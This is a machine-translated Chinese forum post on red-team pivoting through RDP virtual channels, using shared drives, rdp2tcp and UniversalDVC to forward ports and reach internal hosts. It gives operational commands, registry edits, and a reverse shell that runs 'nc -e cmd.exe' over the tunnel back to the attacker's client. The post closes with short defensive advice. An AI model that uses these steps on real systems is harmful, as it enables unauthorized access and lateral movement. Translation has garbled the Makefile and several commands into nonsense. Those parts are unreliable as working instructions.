风尘剑心 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 最近从@cpl3h的博客中了解到如何使用远程桌面协议建立通道。 本文将对这种方法进行梳理,并根据自己的经验补充个人理解。 学习地址: https://ijustwannared . team/2019/11/07/C2-over-RDP-virtual-channels/ 0x01 简介 本文将介绍以下内容: 使用场景 使用共享文件建立通道。 使用rdp2tcp建立通道 使用UniversalDVC建立通道 利用率分析 辩护建议 0x02 使用场景 因为防火墙的设置,只能连接一台Windows服务器的远程桌面,那么如何利用这台Windows服务器作为跳板进入内网呢? 简要描述下图 0x03 使用共享文件建立通道 读写RDP客户端和RDP服务器之间共享的文件,作为数据传输的通道。 概念验证: https://github.com/outflanknl/external_c2 这是根据Cobalt Strike中的外部C2规范编写的POC。 实现原理: 建立远程桌面连接时,可以在RDP客户端和RDP服务器之间创建一个共享文件夹,可以读写共享文件作为数据传输的通道。 1.Windows系统连接远程桌面并开启文件共享 (1)通过配置mstsc.exe开启文件共享 如下图 (2)使用FreeRDP开启文件共享 下载地址: https://cloudbase.it/freerdp-for-windows-nightly-builds/ 命令示例: wfreerdp/v:192 . 168 . 112 . 129:3389-u:1-p:test 123!/cert-ignore /drive:share1,c:\ 2.Kali系统连接远程桌面并开启文件共享 (1)使用xfreerdp开启文件共享 共享本地文件夹/tmp的命令如下: xfreerdp/v:192 . 168 . 112 . 129:3389/u:1/p:test 123!/cert-ignore /drive:share1,/tmp (2)使用rdesktop开启文件共享 共享本地文件夹/tmp的命令如下: rdesktop 192 . 168 . 112 . 129-u1-ptest 123!-r disk:share1=/tmp 在RDP服务器上,可以通过\\tsclient\访问共享文件资源。 关于通过文件读写进行数据传输的详细信息,请参考xpn的文章: https://blog . xpn sec . com/exploring-cobalt-strikes-external C2-framework/ 0x04 使用rdp2tcp建立通道 Rdp2tcp使用Rdp虚拟通道功能来复用端口。 可用功能: 转发TCP端口转发 反向TCP端口转发 处理标准输入/输出转发 SOCKS5代理 概念验证: https://github.com/V-E-O/rdp2tcp 测试系统:Kali2 x64 1.下载并编译rdp2tcp (1)安装mingw-w64 该命令如下所示: apt-get安装mingw-w64 (2)下载rdp2tcp git克隆https://github.com/V-E-O/rdp2tcp.git cd rdp2tcp (3)修改配置文件 Rdp2tcp默认不支持64位exe的编译,需要修改配置文件,添加编译64位exe的配置信息。 修改Makefile,新的内容如下: 所有:客户端服务器-mingw64 客户端:客户端/rdp2tcp 客户端/rdp2tcp: make -C客户端 # server-mingw 32:server/RDP 2 TCP . exe #server/rdp2tcp.exe: # make-C server-f makefile . mingw 32 server-mingw 64:server/RDP 2 TCP 64 . exe server/rdp2tcp64.exe: make -C server -f Makefile.mingw64 清洁: 使-C客户端干净 # make-C server-f makefile . mingw 32 clean make-C server-f makefile . mingw 64 clean 清洁make -C工具 注: 因为我们用的是64位的操作系统,安装的是64位的mingw,所以这里设置的是生成64位的exe。 使用以下内容创建一个新文件/server/Makefile.mingw64: BIN=rdp2tcp64.exe CC=i686-w64-mingw32-gcc CFLAGS=-Wall -g \ -D_WIN32_WINNT=0x0501 \ 我./常见 # -D_WIN32_WINNT=0x0501 # -D_WIN32_WINNT=0x0501 -DDEBUG LDFLAGS=-lwtsapi32 -lws2_32 OBJS=./common/iobuf.o \ ./common/print.o \ ./common/msgparser.o \ ./common/nethelper.o \ ./common/netaddr.o \ errors.o aio.o事件. o \ tunnel.o通道. o过程. o命令. o main.o all: clean_common $(BIN) 清洁_常见: $(MAKE) -C./普通清洁 $(斌):$(OBJS) $(抄送)-o $@ $(OBJS) $(LDFLAGS) %.o: %。c $(CC) $(CFLAGS) -o $@ -c $。 清洁: 林吉特(OBJS)元(宾) (4)编译 该命令如下所示: 制造 生成以下文件: /server/rdp2tcp64.exe /client/rdp2tcp 2.安装xfreerdp Kali系统中默认安装的Xfreerdp不支持TCP重定向。 如下图 如果支持TCP重定向功能,程序将回显以下内容 你需要重新下载并编译xfreerdp。我在这里使用的版本是免费的。 参考链接: https://ci.freerdp.com/job/freerdp-nightly-binaries/ 我这里用的发行版是bionic,完整的安装命令如下: echo ' deb http://pub.freerdp.com/repositories/deb/bionic/freerdp-nightly main '/etc/apt/sources . list wget-O-http://pub.freerdp.com/repositories/ADD6BF6D97CE5D8D.asc | sudo apt-key add- apt-get更新 apt-get每晚免费安装 对应的安装路径是/opt/freerdp-nightly。 启动新版xfreerdp,对应的路径是:/opt/freerdp-nightly/bin/XFree RDP 新的xfreerdp支持TCP重定向,如下图所示 3.使用xfreerdp连接远程桌面并建立通道 本文介绍了转发到TCP端口的方法。 (1)执行xfreerdp并开启TCP重定向功能 在Kali系统上执行: /opt/freerdp-nightly/bin/xfreerdp/v:192 . 168 . 112 . 129:3389/u:1/p:test 123!/cert-ignore/RDP 2 TCP:/root/RDP 2 TCP/client/RDP 2 TCP (2)将rdp2tcp64.exe上传至RDP Server并执行(不需要管理员权限) 执行结果如下 (3)在Kali系统上启动rdp2tcp.py 该命令如下所示: CD RDP 2 TCP/工具 python rdp2tcp.py 添加转发端口转发(本地445-192.168.112.129:445)的命令如下: python rdp2tcp.py添加转发127.0.0.1 445 192.168.112.129 445 输出结果如下 (4)访问本地445端口 访问本地端口445的数据被转发到192.168.112.129的端口445,如下图所示。 转发端口转发已成功建立。 0x05 使用UniversalDVC建立通道 UniversalDVC是以注册UDVC插件的形式,使用动态虚拟通道建立通道。 概念验证: https://github.com/earthquake/UniversalDVC 测试系统:Win7 x64 1.安装UDVC插件 下载的64位文件具有以下地址: https://github . com/seismic/universal DVC/files/1880297/UDVC-x64 . zip 将64位dll保存在%windir%\system32下。 注册dll的命令如下: regsvr32.exeUDVC-Plugin.x64.dll 如下图 UDVC插件注册后,会创建一个注册表项来保存配置信息。 配置文件的位置:HKEY当前用户软件微软终端服务器客户端默认插件 默认监听端口是31337。 注: 在RDP服务器启动UDVC-Server.exe之前,UDVC插件不会打开监听端口。 2.实现端口转发的功能 (1)将Mode设置为Socket server mode (0 - default) 修改注册表的Cmd命令是: REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v mode/t REG _ DWORD/d 0/f (2)设置监听端口为1234 修改注册表的Cmd命令是: REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v port/t REG _ SZ/d 1234/f (3)启动远程桌面客户端 该命令如下所示: mstsc.exe 连接到远程桌面 (4)RDP Server启动UDVC-Server.exe 该命令如下所示: UDVC-Server.x64.exe-c-p 80-I 192 . 168 . 112 . 129-0 (5)RDP Client打开浏览器并访问http://127.0.0.1:1234 获取内网192.168.112.129:80的数据 通道建立,简要流程图如下 3.实现反弹shell的功能 RDP服务器向RDP客户端发送一个shell。 RDP客户端可以实时控制RDP服务器并执行cmd命令。 (1)将Mode设置为Socket client mode (1) 修改注册表的Cmd命令是: REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v mode/t REG _ DWORD/d 1/f (2)设置监听端口为1234 修改注册表的Cmd命令是: REG add ' hkcu \ Software \ Microsoft \ Terminal Server Client \ Default \ AddIns \ UDVC-Plugin '/v port/t REG _ SZ/d 1234/f (3)启动远程桌面客户端 该命令如下所示: mstsc.exe 连接到远程桌面 (4)RDP Client使用nc监听本地端口1234 该命令如下所示: nc64.exe-lvp 1234 (5)RDP Server启动UDVC-Server.exe 该命令如下所示: UDVC-Server.x64.exe-p 5678-0 将建立一个动态虚拟通道:RDP服务器-RDP客户端:1234。 RDP服务器打开监听端口5678。 (6)RDP Server使用nc连接本地端口5678并指定重定向的程序为c:\windows\system32\cmd.exe 该命令如下所示: nc64.exe 5678-e c:\ windows \ system32 \ cmd . exe 通道建立,简要流程图如下 0x06 利用分析 对于这三种建立通道的方法(共享文件、rdp2tcp、UniversalDVC),前提是你已经获得了连接远程桌面的权限。 严格来说,使用这台远程桌面服务器已经可以访问内网资源了。 研究这种方法的意义在于,在某些情况下,远程桌面服务器无法运行我们的程序。 比如远程桌面服务器是Windows系统,我们要执行的程序只支持Linux,避免了程序移植的问题。 0x07 防御建议 1.网络外远程桌面服务器的安全性 如果攻击者能够使用远程桌面协议建立通道,就说明攻击者获得了这台服务器的权限。所以对于开放外网访问的远程桌面服务器,不仅要及时更新补丁,还要防止密码爆炸。 2.使用组策略禁用重定向设备。 组策略位置: 计算机配置-管理模板-Windows组件-远程桌面服务-远程桌面会话主机-设备和资源重定向 0x08 小结 本文参考@cpl3h的文章,整理利用远程桌面协议建立通道的方法,补充个人理解,结合自身经验分析利用思路,总结防御建议。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子